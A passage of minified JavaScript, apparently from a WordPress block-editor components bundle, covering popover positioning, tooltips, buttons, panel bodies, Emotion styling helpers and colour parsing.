e="left"===g?h.contentWidth:f.contentWidth;u>window.innerWidth&&(_=window.innerWidth),e!==u&&(g="center",d.popoverLeft=window.innerWidth/2)}return y="center"===g?d.popoverLeft:"left"===g?h.popoverLeft:f.popoverLeft,i&&(y=Math.min(y,i.offsetLeft+i.offsetWidth-u),(0,se.isRTL)()||(y=Math.max(y,0))),{xAxis:g,popoverLeft:y,contentWidth:_}}(e,t,l,d,n,p.yAxis,a,i,s);return{...m,...p}}(e,a,c,_,C.current,o,n,w,S,T);"number"==typeof u&&"number"==typeof l&&(js(C.current,"top",u+"px"),js(C.current,"left",l+"px")),Gs(C.current,"is-without-arrow",i||"center"===f&&"middle"===y),Gs(C.current,"is-alternate",s),Ys(C.current,"data-x-axis",f),Ys(C.current,"data-y-axis",y),js(A.current,"maxHeight","number"==typeof g?g+"px":""),js(A.current,"maxWidth","number"==typeof v?v+"px":""),k(({left:"right",right:"left"}[f]||"center")+" "+({top:"bottom",bottom:"top"}[y]||"middle"))};e();const{ownerDocument:t}=C.current,{defaultView:r}=t,n=r.setInterval(e,500);let o;const a=()=>{r.cancelAnimationFrame(o),o=r.requestAnimationFrame(e)};r.addEventListener("click",a),r.addEventListener("resize",e),r.addEventListener("scroll",e,!0);const u=function(e){if(e)return e.endContainer?e.endContainer.ownerDocument:e.top?e.top.ownerDocument:e.ownerDocument}(d);let l;return u&&u!==t&&(u.defaultView.addEventListener("resize",e),u.defaultView.addEventListener("scroll",e,!0)),b&&(l=new r.MutationObserver(e),l.observe(b,{attributes:!0})),()=>{var i,s;r.clearInterval(n),r.removeEventListener("resize",e),r.removeEventListener("scroll",e,!0),r.removeEventListener("click",a),r.cancelAnimationFrame(o),u&&u!==t&&(null===(i=u.defaultView)||void 0===i||i.removeEventListener("resize",e),null===(s=u.defaultView)||void 0===s||s.removeEventListener("scroll",e,!0)),l&&l.disconnect()}}),[P,m,h,d,p,c,F,_,b,E]);const L=(e,t)=>{"focus-outside"===e&&g?g(t):n&&n()},[z,B]=(0,za.__experimentalUseDialog)({focusOnMount:l,__unstableOnClose:L,onClose:L}),$=(0,za.useMergeRefs)([C,z,t]),H=Boolean(y&&I)&&function(e){if("loading"===e.type)return Ua()("components-animate__loading");const{type:t,origin:r=Hs(t)}=e;if("appear"===t){const[e,t="center"]=r.split(" ");return Ua()("components-animate__appear",{["is-from-"+t]:"center"!==t,["is-from-"+e]:"middle"!==e})}return"slide-in"===t?Ua()("components-animate__slide-in","is-from-"+r):void 0}({type:"appear",origin:I});let V=(0,U.createElement)("div",Fa({className:Ua()("components-popover",a,H,{"is-expanded":P,"is-without-arrow":i,"is-alternate":s})},R,{ref:$},B,{tabIndex:"-1"}),P&&(0,U.createElement)(Za,null),P&&(0,U.createElement)("div",{className:"components-popover__header"},(0,U.createElement)("span",{className:"components-popover__header-title"},r),(0,U.createElement)(Bc,{className:"components-popover__close",icon:Ya,onClick:n})),(0,U.createElement)("div",{ref:A,className:"components-popover__content"},(0,U.createElement)("div",{style:{position:"relative"}},M,o)));return D.ref&&(V=(0,U.createElement)(Bs,{name:N},V)),d||m?V:(0,U.createElement)("span",{ref:O},V)}));Ks.Slot=(0,U.forwardRef)((function(e,t){let{name:r=Vs}=e;return(0,U.createElement)($s,{bubblesVirtually:!0,name:r,className:"popover-slot",ref:t})})),Ks.__unstableSlotNameProvider=Ws.Provider;const Qs=Ks,Zs=function(e){let t,r,{shortcut:n,className:o}=e;return n?((0,V.isString)(n)&&(t=n),(0,V.isObject)(n)&&(t=n.display,r=n.ariaLabel),(0,U.createElement)("span",{className:o,"aria-label":r},t)):null},Xs=700,Js=(0,U.createElement)("div",{className:"event-catcher"}),ec=e=>{let{eventHandlers:t,child:r,childrenWithPopover:n}=e;return(0,U.cloneElement)((0,U.createElement)("span",{className:"disabled-element-wrapper"},(0,U.cloneElement)(Js,t),(0,U.cloneElement)(r,{children:n})),t)},tc=e=>{let{child:t,eventHandlers:r,childrenWithPopover:n}=e;return(0,U.cloneElement)(t,{...r,children:n})},rc=(e,t,r)=>{if(1!==U.Children.count(e))return;const n=U.Children.only(e);n.props.disabled||"function"==typeof n.props[t]&&n.props[t](r)},nc=function(e){const{children:t,position:r,text:n,shortcut:o,delay:a=Xs}=e,[i,s]=(0,U.useState)(!1),[c,u]=(0,U.useState)(!1),l=(0,za.useDebounce)(u,a),d=e=>{rc(t,"onMouseDown",e),document.addEventListener("mouseup",h),s(!0)},p=e=>{rc(t,"onMouseUp",e),document.removeEventListener("mouseup",h),s(!1)},m=e=>"mouseUp"===e?p:"mouseDown"===e?d:void 0,h=m("mouseUp"),f=(e,r)=>n=>{if(rc(t,e,n),n.currentTarget.disabled)return;if("focus"===n.type&&i)return;l.cancel();const o=(0,V.includes)(["focus","mouseenter"],n.type);o!==c&&(r?l(o):u(o))},y=()=>{l.cancel(),document.removeEventListener("mouseup",h)};if((0,U.useEffect)((()=>y),[]),1!==U.Children.count(t))return t;const g={onMouseEnter:f("onMouseEnter",!0),onMouseLeave:f("onMouseLeave"),onClick:f("onClick"),onFocus:f("onFocus"),onBlur:f("onBlur"),onMouseDown:m("mouseDown")},_=U.Children.only(t),{children:v,disabled:b}=_.props,E=b?ec:tc,w=(e=>{let{grandchildren:t,isOver:r,position:n,text:o,shortcut:a}=e;return(0,U.concatChildren)(t,r&&(0,U.createElement)(Qs,{focusOnMount:!1,position:n,className:"components-tooltip","aria-hidden":"true",animate:!1,noArrow:!0},o,(0,U.createElement)(Zs,{className:"components-tooltip__shortcut",shortcut:a})))})({grandchildren:v,isOver:c,position:r,text:n,shortcut:o});return E({child:_,eventHandlers:g,childrenWithPopover:w})},oc=function(e){let{icon:t,className:r,...n}=e;const o=["dashicon","dashicons","dashicons-"+t,r].filter(Boolean).join(" ");return(0,U.createElement)("span",Fa({className:o},n))},ac=function(e){let{icon:t=null,size:r=24,...n}=e;if("string"==typeof t)return(0,U.createElement)(oc,Fa({icon:t},n));if((0,U.isValidElement)(t)&&oc===t.type)return(0,U.cloneElement)(t,{...n});if("function"==typeof t)return t.prototype instanceof U.Component?(0,U.createElement)(t,{size:r,...n}):t({size:r,...n});if(t&&("svg"===t.type||t.type===Ba.SVG)){const e={width:r,height:r,...t.props,...n};return(0,U.createElement)(Ba.SVG,e)}return(0,U.isValidElement)(t)?(0,U.cloneElement)(t,{size:r,...n}):t};var ic=r(4155);const sc=(0,U.createContext)({}),cc=()=>(0,U.useContext)(sc);function uc(e){let{value:t}=e;const r=cc(),n=(0,U.useRef)(t);return function(e,r){const o=(0,U.useRef)(!1);(0,U.useEffect)((()=>{o.current?(0,V.isEqual)(n.current,t)&&n.current!==t&&void 0!==ic&&ic.env:o.current=!0}),r)}(0,[t]),(0,U.useMemo)((()=>(0,V.merge)((0,V.cloneDeep)(r),t)),[r,t])}(0,U.memo)((e=>{let{children:t,value:r}=e;const n=uc({value:r});return(0,U.createElement)(sc.Provider,{value:n},t)}));const lc="data-wp-component",dc="data-wp-c16t",pc="__contextSystemKey__",mc=Os()((function(e){return`components-${(0,V.kebabCase)(e)}`}));function hc(e,t,r){var n="";return r.split(" ").forEach((function(r){void 0!==e[r]?t.push(e[r]+";"):n+=r+" "})),n}function fc(e,t){if(void 0===e.inserted[t.name])return e.insert("",t,e.sheet,!0)}function yc(e,t,r){var n=[],o=hc(e,n,r);return n.length<2?r:o+t(n)}var gc=function e(t){for(var r="",n=0;n<t.length;n++){var o=t[n];if(null!=o){var a=void 0;switch(typeof o){case"boolean":break;case"object":if(Array.isArray(o))a=e(o);else for(var i in a="",o)o[i]&&i&&(a&&(a+=" "),a+=i);break;default:a=o}a&&(r&&(r+=" "),r+=a)}}return r},_c=function(e){var t=is({key:"css"});t.sheet.speedy=function(e){this.isSpeedy=e},t.compat=!0;var r=function(){for(var e=arguments.length,r=new Array(e),n=0;n<e;n++)r[n]=arguments[n];var o=vs(r,t.registered,void 0);return function(e,t,r){!function(e,t,r){var n=e.key+"-"+t.name;void 0===e.registered[n]&&(e.registered[n]=t.styles)}(e,t);var n=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+n:"",o,e.sheet,!0),o=o.next}while(void 0!==o)}}(t,o),t.key+"-"+o.name};return{css:r,cx:function(){for(var e=arguments.length,n=new Array(e),o=0;o<e;o++)n[o]=arguments[o];return yc(t.registered,r,gc(n))},injectGlobal:function(){for(var e=arguments.length,r=new Array(e),n=0;n<e;n++)r[n]=arguments[n];var o=vs(r,t.registered);fc(t,o)},keyframes:function(){for(var e=arguments.length,r=new Array(e),n=0;n<e;n++)r[n]=arguments[n];var o=vs(r,t.registered),a="animation-"+o.name;return fc(t,{name:o.name,styles:"@keyframes "+a+"{"+o.styles+"}"}),a},hydrate:function(e){e.forEach((function(e){t.inserted[e]=!0}))},flush:function(){t.registered={},t.inserted={},t.sheet.flush()},sheet:t.sheet,cache:t,getRegisteredStyles:hc.bind(null,t.registered),merge:yc.bind(null,t.registered,r)}}(),vc=(_c.flush,_c.hydrate,_c.cx);_c.merge,_c.getRegisteredStyles,_c.injectGlobal,_c.keyframes,_c.css,_c.sheet,_c.cache;const bc=()=>{const e=(0,Pa.useContext)(ws),t=(0,U.useCallback)((function(){if(null===e)throw new Error("The `useCx` hook should be only used within a valid Emotion Cache Context");for(var t=arguments.length,r=new Array(t),n=0;n<t;n++)r[n]=arguments[n];return vc(...r.map((t=>(e=>null!=e&&["name","styles"].every((t=>void 0!==e[t])))(t)?(function(e,t,r){var n=e.key+"-"+t.name;if(void 0===e.registered[n]&&(e.registered[n]=t.styles),void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+n:"",o,e.sheet,!0),o=o.next}while(void 0!==o)}}(e,t),`${e.key}-${t.name}`):t)))}),[e]);return t};var Ec=r(4155);function Sc(e,t){const r=cc();void 0===t&&void 0!==Ec&&Ec.env;const n=(null==r?void 0:r[t])||{},o={[dc]:!0,...(a=t,{[lc]:a})};var a;const{_overrides:i,...s}=n,c=Object.entries(s).length?Object.assign({},s,e):e,u=bc()(mc(t),e.className),l="function"==typeof c.renderChildren?c.renderChildren(c):c.children;for(const e in c)o[e]=c[e];for(const e in i)o[e]=i[e];return o.children=l,o.className=u,o}var Tc=r(4155);function Rc(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{memo:n=!1}=r;let o=(0,U.forwardRef)(e);n&&(o=(0,U.memo)(o)),void 0===t&&void 0!==Tc&&Tc.env;let a=o[pc]||[t];return Array.isArray(t)&&(a=[...a,...t]),"string"==typeof t&&(a=[...a,t]),o.displayName=t,o[pc]=(0,V.uniq)(a),o.selector=`.${mc(t)}`,o}function Oc(e){if(!e)return[];let t=[];return e[pc]&&(t=e[pc]),e.type&&e.type[pc]&&(t=e.type[pc]),t}const Ac={border:0,clip:"rect(1px, 1px, 1px, 1px)",WebkitClipPath:"inset( 50% )",clipPath:"inset( 50% )",height:"1px",margin:"-1px",overflow:"hidden",padding:0,position:"absolute",width:"1px",wordWrap:"normal"};var Cc=/^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|download|draggable|encType|enterKeyHint|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/,xc=function(e,t,r){var n=e.key+"-"+t.name;!1===r&&void 0===e.registered[n]&&(e.registered[n]=t.styles)},Ic=cs((function(e){return Cc.test(e)||111===e.charCodeAt(0)&&110===e.charCodeAt(1)&&e.charCodeAt(2)<91})),kc=function(e){return"theme"!==e},Nc=function(e){return"string"==typeof e&&e.charCodeAt(0)>96?Ic:kc},Dc=function(e,t,r){var n;if(t){var o=t.shouldForwardProp;n=e.__emotion_forwardProp&&o?function(t){return e.__emotion_forwardProp(t)&&o(t)}:o}return"function"!=typeof n&&r&&(n=e.__emotion_forwardProp),n},Pc=function(e){var t=e.cache,r=e.serialized,n=e.isStringTag;return xc(t,r,n),Es((function(){return function(e,t,r){xc(e,t,r);var n=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var o=t;do{e.insert(t===o?"."+n:"",o,e.sheet,!0),o=o.next}while(void 0!==o)}}(t,r,n)})),null},Mc=function e(t,r){var n,o,a=t.__emotion_real===t,i=a&&t.__emotion_base||t;void 0!==r&&(n=r.label,o=r.target);var s=Dc(t,r,a),c=s||Nc(i),u=!c("as");return function(){var l=arguments,d=a&&void 0!==t.__emotion_styles?t.__emotion_styles.slice(0):[];if(void 0!==n&&d.push("label:"+n+";"),null==l[0]||void 0===l[0].raw)d.push.apply(d,l);else{d.push(l[0][0]);for(var p=l.length,m=1;m<p;m++)d.push(l[m],l[0][m])}var h,f=(h=function(e,t,r){var n,a,l,p,m=u&&e.as||i,h="",f=[],y=e;if(null==e.theme){for(var g in y={},e)y[g]=e[g];y.theme=Pa.useContext(Ts)}"string"==typeof e.className?(n=t.registered,a=f,l=e.className,p="",l.split(" ").forEach((function(e){void 0!==n[e]?a.push(n[e]+";"):p+=e+" "})),h=p):null!=e.className&&(h=e.className+" ");var _=vs(d.concat(f),t.registered,y);h+=t.key+"-"+_.name,void 0!==o&&(h+=" "+o);var v=u&&void 0===s?Nc(m):c,b={};for(var E in e)u&&"as"===E||v(E)&&(b[E]=e[E]);return b.className=h,b.ref=r,Pa.createElement(Pa.Fragment,null,Pa.createElement(Pc,{cache:t,serialized:_,isStringTag:"string"==typeof m}),Pa.createElement(m,b))},(0,Pa.forwardRef)((function(e,t){var r=(0,Pa.useContext)(ws);return h(e,r,t)})));return f.displayName=void 0!==n?n:"Styled("+("string"==typeof i?i:i.displayName||i.name||"Component")+")",f.defaultProps=t.defaultProps,f.__emotion_real=f,f.__emotion_base=i,f.__emotion_styles=d,f.__emotion_forwardProp=s,Object.defineProperty(f,"toString",{value:function(){return"."+o}}),f.withComponent=function(t,n){return e(t,Fa({},r,n,{shouldForwardProp:Dc(f,n,!0)})).apply(void 0,d)},f}};const Fc=Mc("div",{target:"em57xhy0"})("");Fc.selector=".components-view",Fc.displayName="View";const Lc=Fc,Uc=Rc((function(e,t){const{style:r,...n}=Sc(e,"VisuallyHidden");return(0,U.createElement)(Lc,Fa({ref:t},n,{style:{...Ac,...r||{}}}))}),"VisuallyHidden"),zc=["onMouseDown","onClick"],Bc=(0,U.forwardRef)((function e(t,r){const{href:n,target:o,isSmall:a,isPressed:i,isBusy:s,isDestructive:c,className:u,disabled:l,icon:d,iconPosition:p="left",iconSize:m,showTooltip:h,tooltipPosition:f,shortcut:y,label:g,children:_,text:v,variant:b,__experimentalIsFocusable:E,describedBy:w,...S}=function(e){let{isDefault:t,isPrimary:r,isSecondary:n,isTertiary:o,isLink:a,variant:i,...s}=e,c=i;var u,l,d,p,m;return r&&(null!==(u=c)&&void 0!==u||(c="primary")),o&&(null!==(l=c)&&void 0!==l||(c="tertiary")),n&&(null!==(d=c)&&void 0!==d||(c="secondary")),t&&(Wa()("Button isDefault prop",{since:"5.4",alternative:'variant="secondary"',version:"6.2"}),null!==(p=c)&&void 0!==p||(c="secondary")),a&&(null!==(m=c)&&void 0!==m||(c="link")),{...s,variant:c}}(t),T=(0,za.useInstanceId)(e,"components-button__description"),R=Ua()("components-button",u,{"is-secondary":"secondary"===b,"is-primary":"primary"===b,"is-small":a,"is-tertiary":"tertiary"===b,"is-pressed":i,"is-busy":s,"is-link":"link"===b,"is-destructive":c,"has-text":!!d&&!!_,"has-icon":!!d}),O=l&&!E,A=void 0===n||O?"button":"a",C="a"===A?{href:n,target:o}:{type:"button",disabled:O,"aria-pressed":i};if(l&&E){C["aria-disabled"]=!0;for(const e of zc)S[e]=e=>{e.stopPropagation(),e.preventDefault()}}const x=!O&&(h&&g||y||!!g&&(!_||(0,V.isArray)(_)&&!_.length)&&!1!==h),I=w?T:null,k=S["aria-describedby"]||I,N=(0,U.createElement)(A,Fa({},C,S,{className:R,"aria-label":S["aria-label"]||g,"aria-describedby":k,ref:r}),d&&"left"===p&&(0,U.createElement)(ac,{icon:d,size:m}),v&&(0,U.createElement)(U.Fragment,null,v),d&&"right"===p&&(0,U.createElement)(ac,{icon:d,size:m}),_);return x?(0,U.createElement)(U.Fragment,null,(0,U.createElement)(nc,{text:w||g,shortcut:y,position:f},N),w&&(0,U.createElement)(Uc,null,(0,U.createElement)("span",{id:I},w))):(0,U.createElement)(U.Fragment,null,N,w&&(0,U.createElement)(Uc,null,(0,U.createElement)("span",{id:I},w)))}));function $c(e){return null!=e}const Hc={initial:void 0,fallback:""},Vc=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Hc;const{initial:r,fallback:n}={...Hc,...t},[o,a]=(0,U.useState)(e),i=$c(e);return(0,U.useEffect)((()=>{i&&o&&a(void 0)}),[i,o]),[function(){var e;let t=arguments.length>1?arguments[1]:void 0;return null!==(e=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:[]).find($c))&&void 0!==e?e:t}([e,o,r],n),e=>{i||a(e)}]},Wc=function(e,t){const r=(0,U.useRef)(!1);(0,U.useEffect)((()=>{if(r.current)return e();r.current=!0}),t)},qc=(0,U.forwardRef)(((e,t)=>{let{isOpened:r,icon:n,title:o,...a}=e;return o?(0,U.createElement)("h2",{className:"components-panel__body-title"},(0,U.createElement)(Bc,Fa({className:"components-panel__body-toggle","aria-expanded":r,ref:t},a),(0,U.createElement)("span",{"aria-hidden":"true"},(0,U.createElement)(ac,{className:"components-panel__arrow",icon:r?$a:Ha})),o,n&&(0,U.createElement)(ac,{icon:n,className:"components-panel__icon",size:20}))):null})),Yc=(0,U.forwardRef)((function(e,t){let{buttonProps:r={},children:n,className:o,icon:a,initialOpen:i,onToggle:s=V.noop,opened:c,title:u,scrollAfterOpen:l=!0}=e;const[d,p]=Vc(c,{initial:void 0===i||i}),m=(0,U.useRef)(),h=(0,za.useReducedMotion)()?"auto":"smooth",f=(0,U.useRef)();f.current=l,Wc((()=>{var e;d&&f.current&&null!==(e=m.current)&&void 0!==e&&e.scrollIntoView&&m.current.scrollIntoView({inline:"nearest",block:"nearest",behavior:h})}),[d,h]);const y=Ua()("components-panel__body",o,{"is-opened":d});return(0,U.createElement)("div",{className:y,ref:(0,za.useMergeRefs)([m,t])},(0,U.createElement)(qc,Fa({icon:a,isOpened:d,onClick:e=>{e.preventDefault();const t=!d;p(t),s(t)},title:u},r)),"function"==typeof n?n({opened:d}):d&&n)}));Yc.displayName="PanelBody";const jc=Yc,Gc=function(e){let{icon:t,size:r=24,...n}=e;return(0,U.cloneElement)(t,{width:r,height:r,...n})},Kc=(0,U.createElement)(Ba.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,U.createElement)(Ba.Path,{d:"M7 11.5h10V13H7z"})),Qc=(0,U.createElement)(Ba.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,U.createElement)(Ba.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"}));function Zc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return vs(t)}r(8679);const Xc={"default.fontFamily":"-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif","default.fontSize":"13px","helpText.fontSize":"12px",mobileTextMinFontSize:"16px"};function Jc(e){return(0,V.get)(Xc,e,"")}var eu={grad:.9,turn:360,rad:360/(2*Math.PI)},tu=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},ru=function(e,t,r){return void 0===t&&(t=0),void 0===r&&(r=Math.pow(10,t)),Math.round(r*e)/r+0},nu=function(e,t,r){return void 0===t&&(t=0),void 0===r&&(r=1),e>r?r:e>t?e:t},ou=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},au=function(e){return{r:nu(e.r,0,255),g:nu(e.g,0,255),b:nu(e.b,0,255),a:nu(e.a)}},iu=function(e){return{r:ru(e.r),g:ru(e.g),b:ru(e.b),a:ru(e.a,3)}},su=/^#([0-9a-f]{3,8})$/i,cu=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},uu=function(e){var t=e.r,r=e.g,n=e.b,o=e.a,a=Math.max(t,r,n),i=a-Math.min(t,r,n),s=i?a===t?(r-n)/i:a===r?2+(n-t)/i:4+(t-r)/i:0;return{h:60*(s<0?s+6:s),s:a?i/a*100:0,v:a/255*100,a:o}},lu=function(e){var t=e.h,r=e.s,n=e.v,o=e.a;t=t/360*6,r/=100,n/=100;var a=Math.floor(t),i=n*(1-r),s=n*(1-(t-a)*r),c=n*(1-(1-t+a)*r),u=a%6;return{r:255*[n,s,i,i,c,n][u],g:255*[c,n,n,s,i,i][u],b:255*[i,i,c,n,n,s][u],a:o}},du=function(e){return{h:ou(e.h),s:nu(e.s,0,100),l:nu(e.l,0,100),a:nu(e.a)}},pu=function(e){return{h:ru(e.h),s:ru(e.s),l:ru(e.l),a:ru(e.a,3)}},mu=function(e){return lu((r=(t=e).s,{h:t.h,s:(r*=((n=t.l)<50?n:100-n)/100)>0?2*r/(n+r)*100:0,v:n+r,a:t.a}));var t,r,n},hu=function(e){return{h:(t=uu(e)).h,s:(o=(200-(r=t.s))*(n=t.v)/100)>0&&o<200?r*n/100/(o<=100?o:200-o)*100:0,l:o/2,a:t.a};var t,r,n,o},fu=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,yu=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,gu=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,_u=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,vu={string:[[function(e){var t=su.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?ru(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?ru(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=gu.exec(e)||_u.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:au({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=fu.exec(e)||yu.exec(e);if(!t)return null;var r,n,o=du({h:(r=t[1],n=t[2],void 0===n&&(n="deg"),Number(r)*(eu[n]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return mu(o)},"hsl"]],object:[[function(e){var t=e.r,r=e.g,n=e.b,o=e.a,a=void 0===o?1:o;return tu(t)&&tu(r)&&tu(n)?au({r:Number(t),g:Number(r),b:Number(n),a:Number(a)}):null},"rgb"],[function(e){var t=e.h,r=e.s,n=e.l,o=e.a,a=void 0===o?1:o;if(!tu(t)||!tu(r)||!tu(n))return null;var i=du({h:Number(t),s:Number(r),l:Number(n),a:Number(a)});return mu(i)},"hsl"],[function(e){var t=e.h,r=e.s,n=e.v,o=e.a,a=void 0===o?1:o;if(!tu(t)||!tu(r)||!tu(n))return null;var i=function(e){return{h:ou(e.h),s:nu(e.s,0,100),v:nu(e.v,0,100),a:nu(e.a)}}({h:Number(t),s:Number(r),v:Number(n),a:Number(a)});return lu(i)},"hsv"]]},bu=function(e,t){for(var r=0;r<t.length;r++){var n=t[r][0](e);if(n)return[n,t[r][1]]}return[null,void 0]},Eu=function(e,t){var r=hu(e);return{h:r.h,s:nu(r.s+100*t,0,100),l:r.l,a:r.a}},wu=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},Su=function(e,t){var r=hu(e);return{h:r.h,s:r.s,l:nu(r.l+100*t,0,100),a:r.a}},Tu=function(){function e(e){this.parsed=function(e){return"string"==typeof e?bu(e.trim(),vu.string):"object"==typeof e&&null!==e?bu(e,vu.object):[null,void 0]}(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return ru(wu(this.rgba),2)},e.prototype.isDark=function(){return wu(this.rgba)<.5},e.prototype.isLight=function(){return wu(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=iu(this.rgba)).r,r=e.g,n=e.b,a=(o=e.a)<1?cu(ru(255*o)):"","#"+cu(t)+cu(r)+cu(n)+a;var e,t,r,n,o,a},e.prototype.toRgb=function(){return iu(this.rgba)},e.prototype.toRgbString=function(){return t=(e=iu(this.rgba)).r,r=e.g,n=e.b,(o=e.a)<1?"rgba("+t+", "+r+", "+n+", "+o+")":"rgb("+t+", "+r+", "+n+")";var e,t,r,n,o},e.prototype.toHsl=function(){return pu(hu(this.rgba))},e.prototype.toHslString=function(){return t=(e=pu(hu(this.rgba))).h,r=e.s,n=e.l,(o=e.a)<1?"hsla("+t+", "+r+"%, "+n+"%, "+o+")":"hsl("+t+", "+r+"%, "+n+"%)";var e,t,r,n,o},e.prototype.toHsv=function(){return e=uu(this.rgba),{h:ru(e.h),s:ru(e.s),v:ru(e.v),a:ru(e.a,3)};var 